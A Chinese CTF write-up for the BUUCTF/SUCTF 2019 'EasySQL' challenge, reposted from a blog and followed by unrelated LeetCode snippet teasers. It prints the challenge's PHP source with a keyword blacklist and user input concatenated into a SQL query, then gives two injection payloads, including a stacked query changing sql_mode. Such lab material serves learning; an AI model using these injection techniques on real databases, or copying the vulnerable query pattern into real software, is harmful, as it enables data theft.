buuctf刷题之旅—web—EasySQL

打开环境,发现依旧是sql注入

GitHub上有源码(https://github.com/team-su/SUCTF-2019/tree/master/Web/easy_sql)

index.php源码

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $get[$k] = trim(addslashes($v));
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post[‘query‘])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post[‘query‘]));
        if(preg_match("/{$BlackList}/is",$post[‘query‘])){
            //echo $post[‘query‘];
            die("Nonono.");
        }
        if(strlen($post[‘query‘])>40){
            die("Too long.");
        }
        $sql = "select ".$post[‘query‘]."||flag from Flag";     //sql执行语句
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

?>

SQL执行的语句:$sql="select ".$post[‘query‘]."||flag from Flag";

第一种:堆叠注入,使得sql_mode的值为PIPES_AS_CONCAT。

payload:setsql_mode=PIPES_AS_CONCAT;
所以整个语句为:1;set sql_mode=PIPES_AS_CONCAT;select 1

第二种:

根据SQL执行语句:$sql="select ".$post[‘query‘]."||flag from Flag";

构造出:$sql="select *,1 ||flag from Flag";

所以直接输入“*,1”就可直接出flag

原文地址:https://www.cnblogs.com/anweilx/p/12353294.html

时间: 2024-08-30 17:16:24

buuctf刷题之旅—web—EasySQL的相关文章

noi寒假刷题之旅

 1.1编程基础之输入输出(10题) Hello, World! #include<iostream> using namespace std; int main() { cout<<"Hello, World!"<<endl; return 0; } 输出第二个整数 #include<iostream> using namespace std; int main() { int a,b,c; cin>>a>>b&

noi寒假刷题之旅_ 1.8编程基础之多维数组(25题)

»1.8编程基础之多维数组(25题) 上次编辑的时候忘记保存了,前面几题就算了趴懒得 08:矩阵加法 #include<iostream> #define MAX 105 using namespace std; int table[MAX][MAX]; int main() { int n,m; cin>>n>>m; for(int i=0;i<n;++i)for(int j=0;j<m;++j)cin>>table[i][j]; int t;

leetcode-开启刷题之旅

水平实在太low了,尤其是代码能力,一直以屌丝女程序猿为宏图目标,突然发现只成功了一半-屌丝女. 从今天开始code,每天两道题. 记录于此,以勉于己. 2014.12.12 软微

Leecode刷题之旅-C语言/python-26.删除数组中的重复项

/* * @lc app=leetcode.cn id=26 lang=c * * [26] 删除排序数组中的重复项 * * https://leetcode-cn.com/problems/remove-duplicates-from-sorted-array/description/ * * algorithms * Easy (42.77%) * Total Accepted: 89.1K * Total Submissions: 208.1K * Testcase Example: '[

Leecode刷题之旅-C语言/python-26.移除元素

/* * @lc app=leetcode.cn id=27 lang=c * * [27] 移除元素 * * https://leetcode-cn.com/problems/remove-element/description/ * * algorithms * Easy (53.46%) * Total Accepted: 39.5K * Total Submissions: 73.7K * Testcase Example: '[3,2,2,3]\n3' * * 给定一个数组 nums 

Leecode刷题之旅-C语言/python-28.实现strstr()

/* * @lc app=leetcode.cn id=28 lang=c * * [28] 实现strStr() * * https://leetcode-cn.com/problems/implement-strstr/description/ * * algorithms * Easy (37.86%) * Total Accepted: 38.6K * Total Submissions: 102K * Testcase Example: '"hello"\n"ll&

Leecode刷题之旅-C语言/python-100相同的树

/* * @lc app=leetcode.cn id=100 lang=c * * [100] 相同的树 * * https://leetcode-cn.com/problems/same-tree/description/ * * algorithms * Easy (51.47%) * Total Accepted: 16K * Total Submissions: 31K * Testcase Example: '[1,2,3]\n[1,2,3]' * * 给定两个二叉树,编写一个函数来

Leecode刷题之旅-C语言/python-121买卖股票的最佳时机

/* * @lc app=leetcode.cn id=121 lang=c * * [121] 买卖股票的最佳时机 * * https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock/description/ * * algorithms * Easy (48.50%) * Total Accepted: 32.5K * Total Submissions: 66.9K * Testcase Example: '[7,1,5

Leecode刷题之旅-C语言/python-118杨辉三角

/* * @lc app=leetcode.cn id=118 lang=c * * [118] 杨辉三角 * * https://leetcode-cn.com/problems/pascals-triangle/description/ * * algorithms * Easy (60.22%) * Total Accepted: 17.6K * Total Submissions: 29.2K * Testcase Example: '5' * * 给定一个非负整数 numRows,生成